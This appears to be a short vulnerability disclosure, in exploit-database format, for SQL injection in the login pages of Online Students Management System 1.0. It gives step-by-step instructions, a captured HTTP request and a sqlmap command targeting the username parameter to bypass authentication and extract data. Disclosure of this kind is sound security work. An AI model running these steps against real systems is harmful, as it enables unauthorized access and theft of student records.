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Online Students Management System 1.0 - 'username' SQL Injections


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# Title: Online Students Management System 1.0 - 'username' SQL Injections
# Exploit Author: George Tsimpidas
# Date: 2020-10-09
# Vendor Homepage: www.sourcecodester.com
# Software Link:
# Version : 1.0
# Tested on: Ubuntu 18.04.5 LTS (Bionic Beaver)
# Category: Webapp

# Description

The files index.php on the main login page, and the index.php on the
/admin/ login page does not perform input validation on the regno
and username parameters. An attacker can send malicious input in the post
request to http://localhost/index.php or either
http://localhost/admin/index.php and bypass authentication, extract
sensitive information etc.


1) Navigate to the admin login page



2) Fill in dummy values for 'username' and 'password' fields and send the
request via an HTTP intercept tool

3) Save the request to file. Example, student_record_sqli.req

POST /admin/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Origin: http://localhost
DNT: 1
Connection: close


4) Run SQLmap on the file,

sqlmap -r student_record_sqli.req --dbms=mysql --threads=10 -p username
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